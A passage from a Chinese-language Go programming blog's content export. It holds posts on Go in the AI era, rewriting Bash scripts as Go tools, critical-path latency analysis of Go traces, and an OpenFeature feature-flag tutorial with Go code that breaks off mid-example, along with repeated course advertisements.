生态，回馈 AI 训练。 这个飞轮正在加速旋转。Cloudflare 的数据显示，2025 年全球 20% 的自动化 API 请求由 Go 客户端发起，而在 AI 基础设施领域，Go 更是扮演着核心角色。\n小结 Cameron 用他对纽约这座城市的热爱作为比喻：“务实、真诚、充满能量”。这不仅是纽约的特质，也是 Go 社区的特质。\n在 AI 时代，Go 并没有被边缘化，反而因为其坚守的工程价值观，成为了连接人类智慧与 AI 能力的坚实桥梁。未来不是 AI 取代我们，而是我们与 AI 一起，用 Go 构建出更伟大的软件。\n资料链接：https://www.youtube.com/watch?v=M2gduDM-MT0\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/25/go-next-frontier-gophercon-2025/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-next-frontier-gophercon-2025-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/25/go-next-frontier-gophercon-2025\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/25/go-next-frontier-gophercon-2025\"\u003ehttps://tonybai.com/2025/12/25/go-next-frontier-gophercon-2025\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“AI 正在重塑软件工程，但它并没有改变软件工程的本质。”\u003c/p\u003e\n\u003cp\u003e在 GopherCon 2025 上，Go 语言产品负责人 Cameron Balahan 发表了一场题为\u003ca href=\"https://www.youtube.com/watch?v=M2gduDM-MT0\"\u003e《Go 的下一个前沿领域》\u003c/a\u003e的主题演讲，重点关注了AI 时代的软件工程这个重要的主题。在这个充满焦虑与炒作的时代，Cameron 没有贩卖焦虑，也没有盲目追逐热点。相反，他通过一组冷静的数据和深刻的洞察，为我们描绘了一幅清晰的蓝图：\u003cstrong\u003eGo 语言的核心原则——简单、高效、工程化——在 AI 时代不仅没有过时，反而变得比以往任何时候都更加重要。\u003c/strong\u003e\u003c/p\u003e","title":"Go 的 AI 时代宣言：我们如何用“老”原则，解决“新”问题？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/24/bash-vs-go-10x-code-100x-maintainability\n大家好，我是Tony Bai。\n“Bash 是一种很棒的胶水语言，但 Go 是更好的胶水。”\n在日常开发中，我们经常会写一些 Bash 脚本来处理本地环境配置、启动 Docker 容器、同步密钥等琐碎任务。起初，它们只是几行简单的命令；但随着时间推移，它们逐渐膨胀成包含数百行 jq、sed、awk 的怪物，充斥着针对 macOS 和 Linux 的条件分支，以及“千万别动这行代码”的注释。\n近日，一位开发者分享了他用 Go 重写这些 Bash 脚本的经历，引发了一场Go社区的关于工程可维护性与**“胶水代码”治理**的深度探讨。\n在本文中，我们将跟随这位开发者的视角，深入剖析这次从脚本到工程的“降熵”之旅，并探讨在 AI 辅助编程日益普及的今天，这一选择背后的新逻辑。\nBash 脚本的“熵增”之路 许多团队的本地开发环境脚本，往往始于一个简单的需求：从 AWS SSM 或 Vault 拉取密钥，生成 .env 文件，然后启动服务。\n最初的 Bash 脚本可能只有 10 行。但随着需求增加，它变成了这样：\n工具链依赖地狱：脚本依赖特定版本的 sed、grep 或 jq。一旦某个同事更新了系统工具，脚本就挂了。 跨平台噩梦：sed 在 macOS 和 Linux 上的行为不一致，导致脚本中充斥着 if [[ \u0026ldquo;$OS\u0026rdquo; == \u0026ldquo;darwin\u0026rdquo; ]] 这样的分支。 调试困难：当脚本出错时，你很难知道是哪一行管道（pipe）出了问题，也没有类型检查来帮你发现潜在错误。 正如评论区一位开发者所言：“Bash 脚本就像是一堆没有明确所有权的‘杂物’。每个人都在上面打补丁，直到它变成一个没人敢碰的定时炸弹。”\nGo 作为“强力胶水”的优势 原作者将这堆复杂的 Bash 逻辑重构为一个名为 envmap 的小型 Go CLI 工具。虽然代码行数可能增加了（Go 确实比 Bash 繁琐），但他收获了工程质量的质变：\n结构化配置与类型安全 不再有脆弱的字符串解析。配置被定义为强类型的 struct，编译器会帮你检查拼写错误和类型不匹配。\n// Bash: 祈祷这个字符串解析是对的... // Go: 编译器保证它是对的 type Config struct { Env string json:\u0026#34;env\u0026#34; Region string json:\u0026#34;region\u0026#34; UseVault bool json:\u0026#34;use_vault\u0026#34; } 接口抽象与可测试性 原作者定义了一个 Provider 接口来抽象不同的密钥后端（AWS SSM, Vault, 本地文件）。这不仅让代码结构清晰，更重要的是，它变得可测试了。你可以轻松编写单元测试来验证逻辑，而无需真的连接到 AWS。\ntype Provider interface { Get(ctx context.Context, key string) (string, error) // ... } 跨平台的一致性 Go 编译出的静态二进制文件，消除了“它在我的机器上能跑”的问题。无论同事使用 macOS、Linux 还是 Windows，他们运行的都是相同的逻辑，不再受系统自带 Shell 工具版本的影响。\n社区的思辨——“杀鸡用牛刀”吗？ 这场重构也引发了激烈的讨论。有开发者质疑：用 Go 写脚本是不是太重了？Python 或 TypeScript 岂不是更好的替代品？甚至，为什么不直接用 Makefile？\n反方观点：复杂度的转移 “代码更多了”：Go 的 verbose（繁琐）是公认的。简单的 cp a b 在 Go 中需要写不少代码。 “编译步骤”：虽然 go run很快，但毕竟多了一个编译环节。 正方观点：维护性的胜利 “长期收益”：一位开发者分享了他将 40k 行 Bash/Perl 脚本重构为 10k 行 Go 代码的经历。虽然初期投入大，但获得了测试覆盖、文档化和零依赖部署的巨大收益。 “显式契约”：Bash 脚本之间往往通过不稳定的文本流（stdout/stdin）通信，极其脆弱。而 Go 代码之间通过明确的接口和模块调用通信，更加稳健。 正如一位评论者总结的：“如果你只是写一个 10 行的脚本，Bash 是完美的。但如果你的脚本开始需要处理复杂的逻辑、状态和错误，那么它就不再是一个脚本，而是一个程序。既然是程序，就应该用编写程序的语言（如 Go）来写。”\nAI 时代的变量——“繁琐”不再是借口 在过去，阻碍开发者用 Go 替代 Bash 的最大阻力往往是编写效率。写一个几十行的 Go 程序来替换一行 sed 命令，听起来确实不仅“繁琐”，而且“低效”。\n然而，在 AI 辅助编程（如 Copilot, Cursor, Claude Code等）普及的今天，这个天平正在发生倾斜。\nAI 为 Go 支付了“样板税” Go 语言的 verbose（繁琐）特性——显式的错误处理、结构体定义、库的引入——曾经是手写代码的负担。但在 AI 时代，这些标准化的样板代码恰恰是 LLM（大语言模型）最擅长生成的。\n你只需要告诉 AI：“写一个 CLI，读取环境变量，请求 AWS SSM，如果有错误就打印红色日志。” AI 能瞬间生成 80% 的 Go 代码骨架。开发者只需专注于核心逻辑的微调。\n编译器是 AI 最好的“质检员” 用 AI 生成 Bash 脚本是一场赌博。LLM 可能会编造出不存在的 awk 参数，或者写出在某些 Shell 下不兼容的语法，而这些错误往往要在运行时才能发现（甚至引发灾难性的 rm -rf）。\n相比之下，用 AI 生成 Go 代码具有天然的安全屏障：\n静态类型检查：如果 AI 幻觉了不存在的方法，编译器会立刻报错，而不是等到运行时崩溃。 确定性：Go 的语法规范极其严格，减少了 AI 生成“虽然能跑但很奇怪”的代码的概率。 正如原作者在回复中所承认的：“我使用了 Cursor 和 Codex，代码的复杂性主要来自业务逻辑，而非语言本身。” 在 AI 的加持下，获得一个类型安全、跨平台、易维护的 Go 二进制文件，其生产效率已经并不输给编写和调试一个脆弱的 Bash 脚本。\n小结：从脚本到工程，从手写到 AI 共生 这个案例告诉我们，“胶水代码”也需要工程化治理。\n当你的 Bash 脚本开始变得让你感到恐惧、难以维护时，不要犹豫，用 Go 重写它吧。虽然你会多写一些 if err != nil，但你换来的是确定性、可维护性和内心的宁静。\n特别是在 AI 时代，Go 语言的“繁琐”已被智能助手和编码智能体消解，而它带来的“稳健”却愈发珍贵。Go 也许不是最简洁的胶水，但在 AI 的帮助下，它绝对是性价比最高、最牢固的胶水。\n资料链接：https://www.reddit.com/r/golang/comments/1pb7t1q/show_tell_bash_is_great_glue_go_is_better_glue/\n你的“胶水”选型\n“Bash 还是 Go/Python？”这可能是每个团队都会面临的选择题。在你的工作中，你会为多大规模的脚本选择改用 Go 或 Python 重写？你是否有过被复杂 Bash 脚本“坑”惨的经历？\n欢迎在评论区分享你的“血泪史”或“重构心得”！ 让我们一起探讨如何让工具代码更优雅。\n如果这篇文章给了你重构旧脚本的勇气，别忘了点个【赞】和【在看】，并分享给你的团队！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/24/bash-vs-go-10x-code-100x-maintainability/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/bash-vs-go-10x-code-100x-maintainability-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/24/bash-vs-go-10x-code-100x-maintainability\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/24/bash-vs-go-10x-code-100x-maintainability\"\u003ehttps://tonybai.com/2025/12/24/bash-vs-go-10x-code-100x-maintainability\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“Bash 是一种很棒的胶水语言，但 Go 是更好的胶水。”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e在日常开发中，我们经常会写一些 Bash 脚本来处理本地环境配置、启动 Docker 容器、同步密钥等琐碎任务。起初，它们只是几行简单的命令；但随着时间推移，它们逐渐膨胀成包含数百行 jq、sed、awk 的怪物，充斥着针对 macOS 和 Linux 的条件分支，以及“千万别动这行代码”的注释。\u003c/p\u003e","title":"Bash 虽好，但我选 Go：如何用 10 倍代码换来 100 倍的维护性？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/24/profiling-request-latency-with-critical-path-analysis\n大家好，我是Tony Bai。\n“如果你喜欢快速的软件，那么你来对地方了。”\n在 GopherCon 2025 上，来自 Datadog 的工程师、Go Performance and diagnostics小组成员 Felix Geisendörfer 以这样一句开场白，将我们带入了一个 Go 性能分析的全新领域。\n我们都知道 Go 是一门为高并发而生的高性能语言，同时也拥有强大的运行时和丰富的诊断工具（如 pprof, trace）。\n但每一个在生产环境中调试过性能问题的 Gopher 都知道，面对一张复杂的 CPU 火焰图或是一个充满互斥锁争用的报告，想要准确地回答“到底是什么拖慢了我的请求？”这个问题，依然极其困难。\nFelix 的演讲，正是为了解决这个终极难题。他提出了一种基于 关键路径分析 (Critical Path Analysis) 的全新方法论，试图将 Go 的性能分析从“看图猜谜”进化为“精准制导”。本文将带你深入这场演讲的核心，探索这一激动人心的前沿技术。\n传统 Profile 的局限——“只见树木，不见森林” Felix 首先展示了一个典型的互斥锁争用 (Mutex Contention) profile。我们可以看到某个锁争用了 439 秒，这听起来很可怕。\n但问题在于：这 439 秒，真的影响了用户的请求延迟吗？\n这个锁可能是在一个不重要的后台清理任务中被争用的。 或者它确实发生在请求处理路径上，但这 439 秒是分摊在 100 万个请求上的，每个请求只受阻了 0.4 毫秒，根本不构成瓶颈。 传统的 profile 工具（如 pprof）擅长告诉我们“哪里消耗了资源”或“哪里发生了等待”，但它们缺乏上下文。它们无法告诉我们：这些资源消耗或等待，是如何组合起来，最终构成了一个特定请求的端到端延迟的。\n我们需要一种视角，能够将 CPU 时间、通道操作、调度延迟、GC 暂停、系统调用甚至网络等待，全部串联起来，还原出一个请求的完整生命周期。\n数据金矿——Go Execution Tracer 要实现这种全景视角，我们需要一个全能的数据源。Felix 指出，Go 的 Execution Tracer (go tool trace) 就是这样一个宝库。\n与采样式的 pprof 不同，Tracer 记录了运行时调度器的每一个动作：\nGoroutine 从 Running 变为 Waiting（例如等待锁或 I/O）。 Goroutine 从 Waiting 变为 Runnable（被谁唤醒了？）。 Goroutine 从 Runnable 变为 Running（调度延迟是多少？）。 这提供了构建完整因果关系图所需的所有原子信息。但原始的 Trace 数据量巨大且难以人工分析（1MB 的 trace 数据相当于 4000 万个 token，连 LLM 都吃不消）：\n我们需要一种算法，从中提取出真正的信号。\n核心算法——关键路径分析 (Critical Path Analysis) Felix 引入了源自曼哈顿计划项目管理的 关键路径分析 概念。在一个复杂的并发系统中，有些任务是并行的，有些是串行的。关键路径，就是那一串最长的、决定了整个项目（或请求）最终耗时的依赖链。\n只有优化关键路径上的任务，才能真正缩短总耗时。 优化非关键路径（Sub-critical path），只是在做无用功。\n那么如何在 Go 中寻找关键路径呢？\n算法的核心是**“回溯” (Backtracking)**：\n从终点出发：找到请求结束的时刻。 追踪唤醒链：如果当前 goroutine 是在运行，我们就向前回溯。如果它是被阻塞的（例如在等待 channel），我们就跳转到那个唤醒它的 goroutine（例如发送 channel 的那个）。 处理并发：如果一个 goroutine 启动了多个子 goroutine 并等待它们（如 errgroup），关键路径就是那个最后完成的子 goroutine。其他的子 goroutine 都是非关键的。 通过这种方式，我们可以从海量的并发事件中，剥离出一条清晰的“红线”——这就是导致延迟的真凶。\n挑战与突破——处理“丢失的边” 理论很完美，但现实很骨感。Felix 坦诚地分享了在实现该算法时遇到的棘手挑战，尤其是**“丢失的边” (Missing Edges)**。\n例如，在一个带有缓冲 channel 的 Worker Pool 模式中，生产者将任务放入缓冲 channel，然后继续运行；消费者稍后从 channel 取出任务。在 Trace 数据中，这两者之间没有直接的唤醒事件关联。追踪链条断裂了。\n解决方案：启发式算法 (Heuristics)\nFelix 和他的团队开发了一套启发式规则来修补这些断裂的链条：\n时间限制：如果 G1 等待 G2，我们只在 G1 等待的那个时间窗口内追踪 G2 的行为。\n互斥锁推断：通过分析堆栈信息和重叠的任务执行时间，推断出隐式的互斥锁依赖关系。\n虽然无法做到 100% 精确，但在实际生产数据的测试中，这套算法的表现令人惊叹，往往能得出与人工专家分析完全一致的结论。\n未来展望——自动化诊断的曙光 关键路径分析的最终产物，不仅仅是一张图，更是一种全新的自动化诊断能力。\n想象一下，当你点击一个慢请求时，系统不再只是给你一个乱糟糟的火焰图，而是直接告诉你：\n“这个请求 40% 的时间花在了 mutex.Lock 上，这是因为另一个后台 goroutine G123 持有了锁。” “这个请求 30% 的时间是在等待调度（Scheduling Latency），说明你的 CPU 资源不足或 GOMAXPROCS 设置不当。” “虽然数据库查询很慢，但它不是瓶颈，因为它是与一个更慢的外部 API 调用并行执行的。” Felix 展示的 “合成火焰图” (Stitched Stack Traces) 概念，就是这一愿景的雏形：它将跨越多个 goroutine 的关键路径，拼接成一个单一的、逻辑上的堆栈图，让开发者一眼就能看清延迟的构成。\n小结 Felix Geisendörfer 的演讲，为我们展示了 Go 性能分析从“原始数据展示”向“智能因果分析”进化的激动人心的前景。\n值得注意的是，虽然 Felix 团队此前贡献的“低开销 Tracer”已经是 Go 运行时的一部分，但本次演讲的核心——关键路径分析算法以及**合成火\n焰图**等高级功能，目前仍主要处于 Datadog 内部探索或商业产品阶段，尚未直接集成到标准的 go tool trace 中。\n不过，Felix 在演讲最后表达了强烈的开源意愿。我们有理由期待，在不久的将来，这套能够像外科手术刀一样精准定位瓶颈的方法论，能够真\n正成为每一位 Gopher 触手可及的通用工具。\n在此之前，理解这一方法论背后的思维方式，本身就是一笔巨大的财富。\n资料链接：https://www.youtube.com/watch?v=BayZ3k-QkFw\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/24/profiling-request-latency-with-critical-path-analysis/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/profiling-request-latency-with-critical-path-analysis-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/24/profiling-request-latency-with-critical-path-analysis\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/24/profiling-request-latency-with-critical-path-analysis\"\u003ehttps://tonybai.com/2025/12/24/profiling-request-latency-with-critical-path-analysis\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“如果你喜欢快速的软件，那么你来对地方了。”\u003c/p\u003e\n\u003cp\u003e在 GopherCon 2025 上，来自 Datadog 的工程师、\u003ca href=\"https://github.com/golang/go/issues/57175\"\u003eGo Performance and diagnostics小组\u003c/a\u003e成员 Felix Geisendörfer 以这样一句开场白，将我们带入了一个 Go 性能分析的全新领域。\u003c/p\u003e","title":"Go 性能分析的“新范式”：用关键路径分析破解高并发延迟谜题"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/23/goodbye-if-else-hell-openfeature-feature-flag-management-go\n大家好，我是Tony Bai。\n在软件开发的早期，我们都有过这样的经历：为了上线一个不确定的新功能，我们在代码里写下了：\nif os.Getenv(\u0026#34;ENABLE_NEW_FEATURE\u0026#34;) == \u0026#34;true\u0026#34; { // 新逻辑 } else { // 旧逻辑 } 简单、直接，但也埋下了隐患。随着系统变得复杂，这种零散的、基于环境变量或配置文件的开关，迅速演变成了难以维护的“If-Else 地狱”。\n为了解决这个问题，特性开关（Feature Flag）系统应运而生。它们允许我们在不重新部署代码的情况下，动态地开启或关闭功能，甚至针对特定用户群体进行灰度发布。\n市面上已经有了许多成熟的解决方案：\nLaunchDarkly: 商业化特性开关领域的领头羊，功能强大但价格不菲。 Split: 专注于实验和数据分析的特性管理平台。 Unleash: 开源界的明星项目，支持私有化部署。 GO-Feature-Flag: Go 语言生态中轻量级、基于文件的优秀开源方案。 这些工具都很棒，但随之而来的是新的烦恼：“供应商锁定”（Vendor Lock-in）等问题。\n比如，一旦你选定了 LaunchDarkly，你的代码库里就会充斥着它的 SDK 调用；如果哪天想换成开源的 Unleash，或者公司自研的系统，那将是一场伤筋动骨的重构灾难。业务代码与具体的特性开关实现强耦合，让你失去了选择的自由。\n我们是否可以有一种方式，既能享受特性开关的便利，又不必被具体的供应商（Provider） 绑定，并拥有统一的特性开关接口API呢？\n答案就是 CNCF 的孵化项目 —— OpenFeature。\nOpenFeature：特性开关的“USB 接口” 根据 OpenFeature 的官方定义，它是一套开放的标准，旨在为特性开关提供一个供应商无关（Vendor-Agnostic）、社区驱动的 API。\n打个比方，OpenFeature 就像是电源插座的标准。\n应用程序是电器。\n特性开关服务（如 LaunchDarkly, go-feature-flag, 自研系统）是发电厂。\nOpenFeature 就是那个标准化的插头和插座。\n无论你背后用的是火电、水电还是核电（不同的供应商），对于电器（应用）来说，它只管插上插头（调用 OpenFeature API），就能获得电力（Flag 值）。\n这种设计让你可以在不修改任何业务代码的情况下，随意切换后端的特性开关服务。\n核心概念解析 在 OpenFeature 的规范（Specification）中，有几个关键角色：\nEvaluation API (评估 API): 这是开发者直接调用的接口，用于获取开关的值。它独立于任何具体的后端实现。 Provider (供应商): 这是幕后的“翻译官”。它负责适配具体的特性开关系统（如 go-feature-flag 或 Split），将 OpenFeature 的标准调用转化为具体系统的实现。 Client (客户端): 应用程序内的轻量级对象，通常绑定到特定的**域（Domain）**或作用域，用于执行 Flag 的评估。 Evaluation Context (评估上下文): 这是传递给 Provider 的“情报”。比如用户的 ID、IP 地址、会员等级等。Provider 根据这些情报，结合后台配置的规则，动态决定返回 true 还是 false。 实战演进：从“裸奔”到“标准化” 为了让你直观感受 OpenFeature 的价值，我们以一个具体的业务需求为例：判断用户是否享受假日折扣。\n阶段一：原始时代 —— 环境变量一把梭 在项目初期，我们没有任何外部依赖。我们使用环境变量作为最简单的特性开关。这种方式无需引入额外的库，但缺乏灵活性，无法针对特定用户进行灰度发布。\n完整代码 (demo1/main.go):\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; ) func main() { // 模拟当前请求的用户ID userID := \u0026#34;user-123\u0026#34; // ❌ 痛点： // 1. 全局生效：一旦开启，所有用户都会看到。 // 2. 修改需要重启：必须修改环境变量并重启服务才能生效。 // 3. 逻辑僵化：无法实现“只对 user-123 开启”这样的规则。 // 从环境变量获取开关状态 enablePromo := os.Getenv(\u0026#34;ENABLE_HOLIDAY_PROMO\u0026#34;) == \u0026#34;true\u0026#34; if enablePromo { fmt.Printf(\u0026#34;User %s gets a discount!\\n\u0026#34;, userID) } else { fmt.Printf(\u0026#34;User %s pays full price.\\n\u0026#34;, userID) } } 运行方式：\n# 开启功能 export ENABLE_HOLIDAY_PROMO=true go run main.go # 输出: User user-123 gets a discount! # 关闭功能 export ENABLE_HOLIDAY_PROMO=false go run main.go # 输出: User user-123 pays full price. 阶段二：工具时代 —— 引入 go-feature-flag 为了支持基于用户的灰度发布（比如只对特定用户开启），我们引入了专门的库 go-feature-flag。这是一个功能强大的 Go 开源库，支持本地文件、S3、K8s 等多种配置源。\n这里我们使用本地文件作为规则源。\n1. 准备规则文件 (demo2/flags.yaml):\nholiday-promo: # 定义开关的两个状态：启用(true) 和 禁用(false) variations: enabled: true disabled: false # 默认情况下，对所有人禁用 defaultRule: variation: disabled # 特殊规则：只对用户 \u0026#34;user-123\u0026#34; 启用 targeting: - query: key eq \u0026#34;user-123\u0026#34; variation: enabled 2. 完整代码 (demo2/main.go):\npackage main import ( \u0026#34;context\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; ffclient \u0026#34;github.com/thomaspoignant/go-feature-flag\u0026#34; \u0026#34;github.com/thomaspoignant/go-feature-flag/ffcontext\u0026#34; \u0026#34;github.com/thomaspoignant/go-feature-flag/retriever/fileretriever\u0026#34; ) func main() { // 初始化 go-feature-flag SDK // 这里我们配置它从本地文件读取规则 err := ffclient.Init(ffclient.Config{ PollingInterval: 3 * time.Second, Retriever: \u0026amp;fileretriever.Retriever{ Path: \u0026#34;flags.yaml\u0026#34;, }, }) if err != nil { panic(err) } // 确保程序退出时关闭 SDK，清理资源 defer ffclient.Close() // 模拟当前请求的用户ID userID := \u0026#34;user-123\u0026#34; // 创建评估上下文 (Evaluation Context) // 这包含了判断 Flag 所需的用户信息 userCtx := ffcontext.NewEvaluationContext(userID) // ❌ 痛点： // 代码与 \u0026#34;go-feature-flag\u0026#34; 强绑定。 // ffclient.BoolVariation 是特定库的 API。 // 如果未来要迁移到 LaunchDarkly 或自研系统，必须修改这里所有的调用代码。 hasDiscount, _ := ffclient.BoolVariation(\u0026#34;holiday-promo\u0026#34;, userCtx, false) if hasDiscount { fmt.Printf(\u0026#34;User %s gets a discount!\\n\u0026#34;, userID) } else { fmt.Printf(\u0026#34;User %s pays full price.\\n\u0026#34;, userID) } } 运行方式(在demo2目录下)：\ngo mod tidy go run main.go # 输出: User user-123 gets a discount! 阶段三：标准时代 —— 拥抱 OpenFeature 现在，我们进化到终极形态。我们依然使用 go-feature-flag 作为底层的Provider (供应商)，但在业务代码中，我们只使用 OpenFeature 的标准 API。\n这意味着，我们的业务逻辑不再知道底层是谁在提供服务。\n1. 准备规则文件 (flags.yaml):\n(与阶段二相同)\nholiday-promo: # 定义开关的两个状态：启用(true) 和 禁用(false) variations: enabled: true disabled: false # 默认情况下，对所有人禁用 defaultRule: variation: disabled # 特殊规则：只对用户 \u0026#34;user-123\u0026#34; 启用 targeting: - query: key eq \u0026#34;user-123\u0026#34; variation: enabled 2. 完整代码 (demo3/main.go):\npackage main import ( \u0026#34;context\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; // OpenFeature SDK \u0026#34;github.com/open-feature/go-sdk/openfeature\u0026#34; // GO Feature Flag In Process Provider gofeatureflaginprocess \u0026#34;github.com/open-feature/go-sdk-contrib/providers/go-feature-flag-in-process/pkg\u0026#34; // GO Feature Flag 配置 ffclient \u0026#34;github.com/thomaspoignant/go-feature-flag\u0026#34; \u0026#34;github.com/thomaspoignant/go-feature-flag/retriever/fileretriever\u0026#34; ) func main() { // ========================================== // A. 初始化层 (Infrastructure Layer) // ========================================== ctx := context.Background() // 1. 创建 GO Feature Flag In Process Provider options := gofeatureflaginprocess.ProviderOptions{ GOFeatureFlagConfig: \u0026amp;ffclient.Config{ PollingInterval: 3 * time.Second, Context: ctx, Retriever: \u0026amp;fileretriever.Retriever{ Path: \u0026#34;flags.yaml\u0026#34;, }, }, } provider, err := gofeatureflaginprocess.NewProviderWithContext(ctx, options) if err != nil { panic(fmt.Errorf(\u0026#34;failed to create provider: %v\u0026#34;, err)) } defer provider.Shutdown() // 2. 设置 OpenFeature Provider 并等待初始化完成 err = openfeature.SetProviderAndWait(provider) if err != nil { panic(fmt.Errorf(\u0026#34;failed to set provider: %v\u0026#34;, err)) } fmt.Println(\u0026#34;✅ OpenFeature In-Process provider is ready!\u0026#34;) // ========================================== // B. 业务逻辑层 (Business Logic Layer) // ========================================== // 1. 获取 OpenFeature 客户端 client := openfeature.NewClient(\u0026#34;app-backend\u0026#34;) // 2. 准备评估上下文 userID := \u0026#34;user-123\u0026#34; evalCtx := openfeature.NewEvaluationContext( userID, map[string]interface{}{ \u0026#34;email\u0026#34;: \u0026#34;test@example.com\u0026#34;, }, ) // 3. 评估 Flag hasDiscount, err := client.BooleanValue( context.Background(), \u0026#34;holiday-promo\u0026#34;, // Flag Key false, // Default Value evalCtx, // Context ) if err != nil { fmt.Printf(\u0026#34;Error evaluating flag: %v\\n\u0026#34;, err) } if hasDiscount { fmt.Printf(\u0026#34;✅ User %s gets a discount!\\n\u0026#34;, userID) } else { fmt.Printf(\u0026#34;❌ User %s pays full price.\\n\u0026#34;, userID) } // ========================================== // C. 测试其他用户 // ========================================== fmt.Println(\u0026#34;\\n--- Testing another user ---\u0026#34;) anotherUserCtx := openfeature.NewEvaluationContext( \u0026#34;user-456\u0026#34;, map[string]interface{}{ \u0026#34;email\u0026#34;: \u0026#34;another@example.com\u0026#34;, }, ) hasDiscountAnother, err := client.BooleanValue( context.Background(), \u0026#34;holiday-promo\u0026#34;, false, anotherUserCtx, ) if err != nil { fmt.Printf(\u0026#34;Error evaluating flag: %v\\n\u0026#34;, err) } if hasDiscountAnother { fmt.Printf(\u0026#34;✅ User user-456 gets a discount!\\n\u0026#34;) } else { fmt.Printf(\u0026#34;❌ User user-456 pays full price.\\n\u0026#34;) } // ========================================== // D. 展示更复杂的评估上下文示例 // ========================================== fmt.Println(\u0026#34;\\n--- Testing with detailed user context ---\u0026#34;) detailedUserCtx := openfeature.NewEvaluationContext( \u0026#34;user-789\u0026#34;, map[string]interface{}{ \u0026#34;firstname\u0026#34;: \u0026#34;john\u0026#34;, \u0026#34;lastname\u0026#34;: \u0026#34;doe\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;john.doe@example.com\u0026#34;, \u0026#34;admin\u0026#34;: true, \u0026#34;anonymous\u0026#34;: false, }, ) hasDiscountDetailed, err := client.BooleanValue( context.Background(), \u0026#34;holiday-promo\u0026#34;, false, detailedUserCtx, ) if err != nil { fmt.Printf(\u0026#34;Error evaluating flag: %v\\n\u0026#34;, err) } if hasDiscountDetailed { fmt.Printf(\u0026#34;✅ User user-789 gets a discount!\\n\u0026#34;) } else { fmt.Printf(\u0026#34;❌ User user-789 pays full 